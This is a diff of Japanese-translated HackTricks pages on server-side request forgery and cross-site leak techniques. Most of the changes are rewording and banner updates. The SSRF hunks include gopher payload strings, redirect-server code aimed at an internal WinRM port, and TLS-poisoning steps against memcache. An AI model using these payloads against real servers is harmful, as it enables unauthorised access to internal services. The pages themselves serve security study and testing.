サーバーが正しく保護されている場合、ウェブページ内のオープンリダイレクトを悪用することで、**すべての制限をバイパス**することができます。ウェブページは**同じドメインへのSSRFを許可**し、おそらく**リダイレクトをたどる**ため、**オープンリダイレクトを悪用してサーバーが内部のリソースにアクセス**することができます。\
|
||||
詳細はこちらを参照してください:[https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
|
||||
## プロトコル
|
||||
|
||||
|
@ -101,11 +101,13 @@ QUIT
|
|||
|
||||
Gopher HTTP is a technique used in server-side request forgery (SSRF) attacks. SSRF is a vulnerability that allows an attacker to make requests from the targeted server to other internal or external resources. Gopher HTTP takes advantage of the Gopher protocol, which is a simple protocol used for retrieving documents over the Internet.
|
||||
|
||||
In a Gopher HTTP attack, the attacker crafts a malicious request that tricks the server into making a request to a specified URL using the Gopher protocol. This can be used to bypass security measures that may be in place to prevent direct access to certain resources.
|
||||
In a Gopher HTTP attack, the attacker crafts a malicious request that tricks the server into making a request to a specified URL using the Gopher protocol. This can be used to bypass restrictions and access internal resources that are not intended to be accessible from the outside.
|
||||
|
||||
To perform a Gopher HTTP attack, the attacker typically needs to find a vulnerable parameter that accepts URLs and is susceptible to SSRF. The attacker then crafts a URL using the Gopher protocol and includes the desired target URL as a parameter. When the server processes the request, it will make a request to the specified URL using the Gopher protocol, potentially leaking sensitive information or performing unauthorized actions.
|
||||
To perform a Gopher HTTP attack, the attacker typically needs to find a vulnerable parameter that accepts URLs and is susceptible to SSRF. The attacker then crafts a URL using the Gopher protocol and includes the desired request within it. The server, unaware of the malicious intent, makes the request and returns the response to the attacker.
|
||||
|
||||
It is important for developers to be aware of the risks associated with SSRF vulnerabilities and implement proper input validation and sanitization to prevent these types of attacks. Additionally, server administrators should consider blocking or restricting access to the Gopher protocol if it is not necessary for their applications.
|
||||
Gopher HTTP attacks can be used to perform various malicious activities, such as accessing internal APIs, scanning internal networks, or even exfiltrating sensitive data. It is important for developers and system administrators to be aware of this vulnerability and implement proper security measures to prevent SSRF attacks, including input validation and whitelisting of allowed URLs.
|
||||
|
||||
Note: Gopher HTTP is just one technique used in SSRF attacks. There are other techniques and variations that attackers may employ depending on the specific scenario and target.
|
||||
```bash
|
||||
#For new lines you can use %0A, %0D%0A
|
||||
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
||||
|
@ -208,6 +210,7 @@ httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
|
|||
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
|
||||
httpd.serve_forever()
|
||||
```
|
||||
|
||||
```python
|
||||
self.end_headers()
|
||||
|
||||
|
@ -228,7 +231,7 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4
|
|||
if __name__ == "__main__":
|
||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
```
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
|
@ -238,7 +241,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
|
||||
## DNS Rebidding CORS/SOPバイパス
|
||||
|
||||
**CORS/SOP**の制限をバイパスするために、**ローカルIPからコンテンツを外部に流出**させることに問題がある場合、**DNS Rebidding**を使用できます。
|
||||
**CORS/SOP**の制限をバイパスするために、**ローカルIPからコンテンツを外部に送信**することに問題がある場合、**DNS Rebidding**を使用できます。
|
||||
|
||||
{% content-ref url="../cors-bypass.md" %}
|
||||
[cors-bypass.md](../cors-bypass.md)
|
||||
|
@ -265,7 +268,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
3. 被害者と攻撃者のドメイン間で**TLS接続**が作成されます。攻撃者は**セッションIDまたはセッションチケット**内に**ペイロード**を挿入します。
|
||||
4. **ドメイン**は**自身に対して無限ループのリダイレクト**を開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続け、ドメインの**DNSリクエスト**を再度実行することです。
|
||||
5. DNSリクエストで**プライベートIPアドレス**が**現在**指定されます(例:127.0.0.1)。
|
||||
6. ユーザー/ボットは**TLS接続を再確立**しようとし、そのために**セッションID/チケットID**を**送信**します(攻撃者のペイロードが含まれていた場所)。おめでとうございます、ユーザー/ボットが**自身を攻撃する**ように要求することに成功しました。
|
||||
6. ユーザー/ボットは**TLS接続を再確立**しようとし、そのために**セッションID/チケットID**を送信します(攻撃者のペイロードが含まれていた場所)。おめでとうございます、ユーザー/ボットが**自身を攻撃する**ように要求することに成功しました。
|
||||
|
||||
この攻撃中、localhost:11211(_memcache_)を攻撃する場合、被害者に最初の接続をwww.attacker.com:11211(**ポートは常に同じである必要があります**)で確立させる必要があります。\
|
||||
この攻撃を実行するためには、次のツールを使用できます:[https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
|
@ -273,7 +276,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
|
||||
## Blind SSRF
|
||||
|
||||
盲目のSSRFと非盲目のSSRFの違いは、盲目の場合にSSRFリクエストの応答を見ることができないことです。そのため、既知の脆弱性のみを悪用することができるため、悪用はより困難です。
|
||||
盲目のSSRFと非盲目のSSRFの違いは、盲目の場合にSSRFリクエストの応答を見ることができないことです。そのため、既知の脆弱性のみを悪用することができるため、悪用がより困難になります。
|
||||
|
||||
### 時間ベースのSSRF
|
||||
|
||||
|
@ -318,11 +321,11 @@ SSRFの脆弱性を検出および悪用するためのツール
|
|||
|
||||
* [SSRFの使用に関するブログ記事](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_は、一般的なJava RMIの脆弱性に対して攻撃操作をサポートするJava RMIの脆弱性スキャナです。ほとんどの操作は、要求された操作に対してSSRFペイロードを生成するための`--ssrf`オプションをサポートしています。`--gopher`オプションと一緒に使用すると、直接使用できるgopherペイロードが生成されます。
|
||||
_remote-method-guesser_は、一般的なJava RMIの脆弱性に対して攻撃操作をサポートするJava RMIの脆弱性スキャナです。ほとんどの操作は、リクエストされた操作に対してSSRFペイロードを生成するための`--ssrf`オプションをサポートしています。`--gopher`オプションと一緒に使用すると、直接使用できるgopherペイロードが生成されます。
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
||||
|
||||
SSRFに対して脆弱なサーバーを介してクライアントのHTTPトラフィックをトンネルするために設計されたマルチスレッドのHTTPプロキシサーバー。
|
||||
SSRFに対して脆弱なサーバーを介してクライアントのHTTPトラフィックをトンネリングするために設計されたマルチスレッドのHTTPプロキシサーバー。
|
||||
|
||||
### 練習するために
|
||||
|
||||
|
@ -332,17 +335,17 @@ SSRFに対して脆弱なサーバーを介してクライアントのHTTPトラ
|
|||
|
||||
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
||||
* [https://www.invicti.com/blog/web-security/ssrf-vulner
|
||||
* [https://www.invicti.com
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 自分のハッキングテクニックを共有するために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XS-Search/XS-Leaks
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -13,7 +13,7 @@
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するには、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
|
@ -34,26 +34,26 @@ XS-Searchは、**サイドチャネル攻撃**を悪用して、**クロスオ
|
|||
|
||||
### 検出可能な違い
|
||||
|
||||
脆弱なページの2つの状態を区別するために、次のことに注目することができます:
|
||||
脆弱なページの2つの状態を区別するために、次のことに注意することができます:
|
||||
|
||||
* **ステータスコード**。攻撃者は、クロスオリジンで**異なるHTTPレスポンスステータスコード**(サーバーエラー、クライアントエラー、認証エラーなど)を区別することができます。
|
||||
* **APIの使用**。この検出可能な違いにより、攻撃者はページ間での**Web APIの使用**を検出し、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを推測することができます。
|
||||
* **リダイレクト**。Webアプリケーションがユーザーを**別のページに移動**させたかどうかを検出することができます。これはHTTPリダイレクトに限らず、JavaScriptやHTMLによってトリガーされるリダイレクトも含まれます。
|
||||
* **APIの使用**。この検出可能な違いにより、攻撃者はページ間での**Web APIの使用**を検出することができ、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを推測することができます。
|
||||
* **リダイレクト**。Webアプリケーションがユーザーを**別のページに移動**させたかどうかを検出することができます。これはHTTPリダイレクトに限定されず、JavaScriptやHTMLによってトリガーされるリダイレクトも含まれます。
|
||||
* **ページの内容**。これらの検出可能な**違いは、HTTPレスポンスボディ自体またはページに含まれるサブリソースに現れます**。たとえば、これは含まれるフレームの数(cf. XS-Leak on Gitlab)や画像のサイズの違いなどです。
|
||||
* **HTTPヘッダー**。攻撃者は、特定のHTTPレスポンスヘッダーの存在を検出し、その値を収集することができます。これには、X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなどのヘッダーが含まれます。
|
||||
* **タイミング**:攻撃者は、2つの状態間に一貫した時間差が存在することを検出することができます。
|
||||
|
||||
### インクルージョンメソッド
|
||||
|
||||
* **HTML要素**。HTMLには、**クロスオリジンリソースのインクルージョン**を可能にするさまざまな要素があります。スタイルシート、画像、スクリプトなどの要素は、被害者のブラウザに指定された非HTMLリソースのリクエストを要求します。この目的のための可能なHTML要素の一覧はオンラインで利用できます([https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks))。
|
||||
* **HTML要素**。HTMLには、**クロスオリジンリソースのインクルージョン**を可能にするさまざまな要素があります。スタイルシート、画像、スクリプトなどの要素は、被害者のブラウザに指定された非HTMLリソースのリクエストを要求します。この目的のために使用できるHTML要素のリストはオンラインで利用可能です([https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks))。
|
||||
* **フレーム**。**iframe**、**object**、**embed**などの要素は、攻撃者のページに直接他のHTMLリソースを埋め込むことができます。ページが**フレーミング保護を使用していない**場合、JavaScriptコードはcontentWindowプロパティを介してフレーム化されたリソースのwindowオブジェクトにアクセスすることができます。
|
||||
* **ポップアップ**。**`window.open`**メソッドは、新しいブラウザタブやウィンドウにリソースを読み込みます。このメソッドは、JavaScriptコードがSOPに準拠したメソッドとプロパティにアクセスするために使用できるウィンドウハンドルを返します。これらのポップアップは、シングルサインオンでよく使用されます。最新のブラウザバージョンでは、特定のユーザー操作によってトリガーされた場合にのみポップアップが許可されます。XS-Leak攻撃では、このメソッドが特に役立ちます。なぜなら、これにより、対象リソースに対するフレーミングとクッキーの制限が**バイパス**されるからです。新しいブラウザバージョンでは、ウィンドウハンドルを分離する手段が最近追加されました。
|
||||
* **ポップアップ**。**`window.open`**メソッドは、新しいブラウザのタブやウィンドウにリソースを読み込みます。このメソッドは、JavaScriptコードがSOPに準拠したメソッドとプロパティにアクセスするために使用できる**ウィンドウハンドル**を返します。これらのポップアップは、シングルサインオンでよく使用されます。最新のブラウザバージョンでは、特定のユーザー操作によってトリガーされた場合にのみポップアップが許可されます。XS-Leak攻撃では、このメソッドが特に役立ちます。なぜなら、これにより、対象リソースに対するフレーミングとクッキーの制限が**バイパス**されるからです。新しいブラウザバージョンでは、ウィンドウハンドルを分離する手段が最近追加されました。
|
||||
* **JavaScriptリクエスト**。JavaScriptでは、対象リソースに直接リクエストを送信することができます。このためには、2つの異なる方法があります:**XMLHttpRequests**とその後継である**Fetch API**。以前のインクルージョンメソッドとは異なり、攻撃者は発行されるリクエストに対して細かい制御を持つことができます。たとえば、HTTPリダイレクトを自動的に追跡するかどうかなどです。
|
||||
### リーク技術
|
||||
|
||||
* **イベントハンドラ**。イベントハンドラは、XS-Leaksの古典的なリーク技術と見なすことができます。さまざまな情報の源としてよく知られています。たとえば、**onload**のトリガーは、onerrorイベントとは対照的に、**リソースの正常な読み込みを示します**。
|
||||
* **エラーメッセージ**。イベントハンドラの他に、エラーメッセージは**JavaScriptの例外**や**特別なエラーページ**として発生することがあります。エラーメッセージは、リーク技術によって直接スローされるなど、さまざまなステップで発生することがあります。リーク技術は、エラーメッセージに直接**含まれる追加の情報**を使用するか、**エラーメッセージの表示と不在の違い**を区別することができます。
|
||||
* **グローバル制限**。すべてのコンピュータには物理的な制限があり、ブラウザも同様です。たとえば、利用可能なメモリの量はブラウザの実行中のタブを制限します。同様に、ブラウザ全体に対して強制される他のブラウザ制限にも同じことが言えます。攻撃者が**制限が達成された時点を特定できれば、これをリーク技術として使用できます**。
|
||||
* **グローバル制限**。すべてのコンピュータには物理的な制限があり、ブラウザも同様です。たとえば、利用可能なメモリの量はブラウザの実行中のタブを制限します。同様に、ブラウザ全体に対して強制される他のブラウザの制限も同様です。攻撃者が**制限が達成された時点を特定できれば、これをリーク技術として使用できます**。
|
||||
* **グローバルステート**。ブラウザには、すべてのページが相互作用できる**グローバルステート**があります。この相互作用が攻撃者のウェブサイトから検出可能であれば、これをリーク技術として使用できます。たとえば、**History**インターフェースは、タブやフレームで訪れたページを操作することができます。これにより、**エントリの数**によって、攻撃者は異なるオリジンのページについての結論を導くことができます。
|
||||
* **パフォーマンスAPI**。パフォーマンスAPIは、現在のページの**パフォーマンス情報にアクセスするために使用されます**。エントリには、ドキュメントとページによってロードされたすべてのリソースの詳細なネットワークタイミングデータが含まれています。これにより、攻撃者は**要求されたリソースについての結論を導くことができます**。たとえば、一部のリクエストに対してブラウザがパフォーマンスエントリを作成しないケースを特定しました。
|
||||
* **読み取り可能な属性**。HTMLには、クロスオリジンで**読み取り可能な属性**がいくつかあります。この読み取りアクセスはリーク技術として使用することができます。たとえば、JavaScriptコードは、window.frame.lengthプロパティを使用して、ウェブページに含まれるフレームの数をクロスオリジンで読み取ることができます。
|
||||
|
@ -64,18 +64,18 @@ XS-Searchは、**サイドチャネル攻撃**を悪用して、**クロスオ
|
|||
|
||||
**クロック**:[performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) APIを使用すると、高解像度のタイミング測定を行うことができます。\
|
||||
攻撃者は、暗黙のクロックを作成するために悪用できるAPIが多数あります:[Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API)、[Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel)、[requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)、[setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)、CSSアニメーションなど。\
|
||||
詳細についてはこちら:[https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
|
||||
詳細についてはこちら:[https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)。
|
||||
|
||||
## XSinator
|
||||
|
||||
XSinatorは、いくつかの既知のXS-Leaksに対してブラウザを自動的にチェックするツールです。詳細は論文を参照してください:[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)\
|
||||
ツールには以下からアクセスできます:[https://xsinator.com/](https://xsinator.com/)
|
||||
ツールにアクセスするには、[https://xsinator.com/](https://xsinator.com/)にアクセスしてください。
|
||||
|
||||
{% hint style="warning" %}
|
||||
**除外されたXS-Leaks**:XSinatorでは、他のリークに干渉する可能性があるため、**サービスワーカーに依存するXS-Leaksは除外**しました。さらに、特定のWebアプリケーションのミス構成やバグに依存するXS-Leaksも**除外**しました。たとえば、Cross-Origin Resource Sharing(CORS)のミス構成、postMessageの漏洩、またはクロスサイトスクリプティングなどです。さらに、時間ベースのXS-Leaksも除外しました。なぜなら、遅く、ノイズが多く、正確性に欠けることが多いからです。
|
||||
**除外されたXS-Leaks**:XSinatorでは、他のリークに干渉する可能性があるため、**サービスワーカーに依存するXS-Leaksは除外**しました。さらに、特定のWebアプリケーションのミス構成やバグに依存するXS-Leaksも**除外**しました。たとえば、Cross-Origin Resource Sharing(CORS)のミス構成、postMessageの漏洩、またはクロスサイトスクリプティングなどです。さらに、時間ベースのXS-Leaksも除外しました。なぜなら、時間ベースのXS-Leaksは遅く、ノイズが多く、正確性に欠けることが多いためです。
|
||||
{% endhint %}
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化できます。\
|
||||
|
@ -89,8 +89,8 @@ XSinatorは、いくつかの既知のXS-Leaksに対してブラウザを自動
|
|||
|
||||
* **含有方法**:フレーム、HTML要素
|
||||
* **検出可能な違い**:ステータスコード
|
||||
* **詳細情報**:[https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
* **概要**:リソースをロードしようとする場合、onerror/onloadイベントがリソースの読み込みが成功/失敗したことを示すため、ステータスコードを特定することが可能です。
|
||||
* **詳細情報**:[https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu)、[https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
* **概要**:リソースをロードしようとする場合、onerror/onloadイベントがリソースの正常な読み込み/読み込み失敗時にトリガーされるため、ステータスコードを特定することが可能です。
|
||||
* **コード例**:[https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))
|
||||
|
||||
{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
|
||||
|
@ -143,7 +143,7 @@ XSinatorは、いくつかの既知のXS-Leaksに対してブラウザを自動
|
|||
* **Summary:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) APIを使用して、リクエストの実行にかかる時間を測定することができます。他のクロックも使用できます。
|
||||
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||||
|
||||
ページに[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)が実装されていない場合、攻撃者はページとすべてのサブリソースがネットワーク上で読み込まれるまでにかかる時間を計測することができます。デフォルトでは、iframeの`onload`ハンドラはすべてのリソースが読み込まれ、すべてのJavaScriptの実行が完了した後に呼び出されます。しかし、攻撃者は`<iframe>`内に[`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)属性を含めることで、スクリプトの実行のノイズを排除することができます。この属性はJavaScriptの実行を含む多くの機能をブロックするため、ほぼ純粋なネットワーク測定結果が得られます。
|
||||
もしページに[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)が実装されていない場合、攻撃者はページとすべてのサブリソースがネットワーク上で読み込まれるまでにかかる時間を計測することができます。デフォルトでは、iframeの`onload`ハンドラはすべてのリソースが読み込まれ、すべてのJavaScriptの実行が完了した後に呼び出されます。しかし、攻撃者は`<iframe>`内に[`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)属性を含めることで、スクリプトの実行のノイズを排除することができます。この属性はJavaScriptの実行を含む多くの機能をブロックするため、ほぼ純粋なネットワーク測定結果が得られます。
|
||||
|
||||
### #ID + error + onload
|
||||
|
||||
|
@ -153,9 +153,9 @@ XSinatorは、いくつかの既知のXS-Leaksに対してブラウザを自動
|
|||
* **Summary**: 正しいコンテンツにアクセスした場合にページがエラーになり、任意のコンテンツにアクセスした場合に正しく読み込まれるようにページを設定できる場合、時間を測定せずにすべての情報を抽出するためのループを作成することができます。
|
||||
* **Code Example**:
|
||||
|
||||
秘密のコンテンツを含む**ページ**を**Iframe**内に**挿入**できると仮定しましょう。
|
||||
秘密のコンテンツを含む**ページ**を**iframe**内に**挿入**できると仮定しましょう。
|
||||
|
||||
被害者には、CSRFを悪用して例えば"_**flag**_"を含むファイルを検索させることができます。Iframe内では、_**onloadイベント**_が**常に少なくとも1回実行**されることがわかっています。その後、URL内のハッシュの**コンテンツ**のみを変更して、**iframe**の**URL**を**変更**することができます。
|
||||
被害者には、CSRFを悪用して例えば"_**flag**_"を含むファイルを検索させることができます。Iframe内では、_**onloadイベント**_が**常に少なくとも1回実行**されることがわかっています。その後、URL内のハッシュの**コンテンツ**のみを変更することで、**iframe**の**URL**を**変更**することができます。
|
||||
|
||||
例えば:
|
||||
|
||||
|
@ -164,7 +164,7 @@ XSinatorは、いくつかの既知のXS-Leaksに対してブラウザを自動
|
|||
|
||||
最初のURLが**正常に読み込まれた**場合、URLのハッシュ部分を変更しても**onload**イベントは**再度トリガーされません**。しかし、ページが読み込まれる際に何らかの**エラー**が発生した場合、**onload**イベントは**再度トリガーされます**。
|
||||
|
||||
そのため、**正しく**読み込まれたページとアクセス時に**エラー**が発生したページを**区別**することができます。
|
||||
そのため、**正しく**読み込まれたページとアクセス時に**エラー**があるページを**区別**することができます。
|
||||
|
||||
### Javascript Execution
|
||||
|
||||
|
@ -205,9 +205,9 @@ XSinatorは、いくつかの既知のXS-Leaksに対してブラウザを自動
|
|||
* **概要**: postMessageから機密情報を収集するか、postMessageの存在をオラクルとして使用してユーザーのページ内の状態を知ることができます。
|
||||
* **コード例**: `Any code listening for all postMessages.`
|
||||
|
||||
アプリケーションでは、[postMessageブロードキャスト](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)を使用して他のオリジンと情報を共有することがよくあります。これらのメッセージを聞くことで、**機密情報**を見つけることができます(`targetOrigin`パラメータが使用されていない場合は潜在的に)。また、メッセージを受け取ること自体が**オラクルとして使用**されることもあります(ログインしている場合にのみこの種類のメッセージを受け取ります)。
|
||||
アプリケーションでは、[postMessageブロードキャスト](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)を使用して他のオリジンと情報を共有することがよくあります。これらのメッセージを聞くことで、**機密情報**を見つけることができます(`targetOrigin`パラメータが使用されていない場合は潜在的に)。また、メッセージを受け取ること自体が**オラクルとして使用**されることもあります(ログインしている場合にのみこの種のメッセージを受け取ります)。
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。\
|
||||
|
@ -215,14 +215,14 @@ XSinatorは、いくつかの既知のXS-Leaksに対してブラウザを自動
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## グローバル制限のテクニック
|
||||
## グローバル制限テクニック
|
||||
|
||||
### WebSocket API
|
||||
|
||||
* **Inclusion Methods**: フレーム、ポップアップ
|
||||
* **Detectable Difference**: APIの使用
|
||||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
* **概要**: WebSocket接続の制限を使い果たすことで、クロスオリジンページのWebSocket接続の数を漏洩させることができます。
|
||||
* **概要**: WebSocket接続の制限を使い果たすことで、クロスオリジンページのWebSocket接続の数を漏洩させます。
|
||||
* **コード例**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))
|
||||
|
||||
ターゲットページが使用している**WebSocket接続の数**を特定することができます。これにより、攻撃者はアプリケーションの状態を検出し、WebSocket接続の数に関連する情報を漏洩させることができます。
|
||||
|
@ -237,9 +237,9 @@ XSinatorは、いくつかの既知のXS-Leaksに対してブラウザを自動
|
|||
* **概要**: Payment Requestの検出、1つしか同時にアクティブにできないため。
|
||||
* **コード例**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
|
||||
このXS-Leakにより、攻撃者は**クロスオリジンページが支払いリクエストを開始したとき**に検出することができます。
|
||||
このXS-Leakにより、攻撃者は**クロスオリジンページが支払いリクエストを開始したとき**を検出することができます。
|
||||
|
||||
**1つの支払いリクエストのみが同時にアクティブ**にできるため、ターゲットウェブサイトがPayment Request APIを使用している場合、このAPIを使用しようとする**さらなる試みは失敗**し、**JavaScriptの例外**が発生します。攻撃者は、定期的にPayment API UIを表示しようとすることでこれを悪用することができます。1つの試みが例外を引き起こす場合、ターゲットウェブサイトは現在それを使用しています。攻撃者は、UIの作成後すぐにUIを閉じることで、これらの定期的な試みを隠すことができます。
|
||||
**同時にアクティブな支払いリクエストは1つだけ**できるため、ターゲットウェブサイトがPayment Request APIを使用している場合、このAPIを使用しようとする**追加の試みは失敗**し、**JavaScriptの例外**が発生します。攻撃者は、定期的にPayment API UIを表示しようとすることでこれを悪用することができます。1つの試みが例外を引き起こす場合、ターゲットウェブサイトは現在それを使用しています。攻撃者は、UIを作成した直後にUIをすぐに閉じることで、これらの定期的な試みを隠すことができます。
|
||||
|
||||
### イベントループのタイミング <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
|
||||
|
@ -255,7 +255,7 @@ XSinatorは、いくつかの既知のXS-Leaksに対してブラウザを自動
|
|||
|
||||
JavaScriptの並行性モデルは、[シングルスレッドのイベントループ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)に基づいているため、**一度に1つのタスクしか実行できません**。
|
||||
|
||||
異なるオリジン
|
||||
